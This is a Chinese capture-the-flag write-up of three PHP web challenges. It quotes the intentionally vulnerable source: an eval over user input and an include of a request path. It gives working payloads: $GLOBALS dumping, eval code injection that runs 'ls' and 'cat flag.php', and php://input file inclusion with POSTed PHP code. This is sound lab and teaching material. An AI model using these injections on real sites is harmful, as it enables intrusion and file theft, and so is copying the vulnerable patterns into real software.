解题过程
第一题
- Tips: flag就在某六位变量中
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
- 首先正则表达式只匹配[a-zA-Z0-9]的字符
- 存在
eval()
函数,其中字符用双引号引起 - 其中
var_dump()
函数中参数为两个美元符号的变量
- 以上想到利$GLOBAL超级全局变量
?hello=GLOBAL
拿到flag
第二题
- Tips: flag不在变量中
- 也许所以无法通过超全局变量查看
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
- 存在
eval()
函数,其中字符用双引号引起, 其中var_dump()
函数中参数为可控变量 - 则可在双引号中变量替换的时候代码注入
$a="hello);echo `ls`;//";
eval("var_dump($a);");
变量替换后,可执行任意代码
eval("var_dump(hello);echo `ls`; // )")
?hello=hello);echo `ls`;//
?hello=hello);echo `cat flag.php`;//
- flag在注释中
第三题
- Tips: 没错!就是文件包含漏洞
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
-
查看
phpinfo
中allow_url_include
是开启的,所以可以利用php伪协议中的php://input
让文件包含post提交的数据,执行任意代码 -
payload如下,即可获得flag
url: ?path=php://input
POST: <?php echo `ls`; ?>
POST: <?php echo `cat dle345aae.php `;?>
知识小结
- 正则表达式分析
- php超全局变量利用
- php双引号中变量替换
- php伪协议
- phpinfo中泄露信息的利用
- eval()函数中存在可控变量则可产生代码注入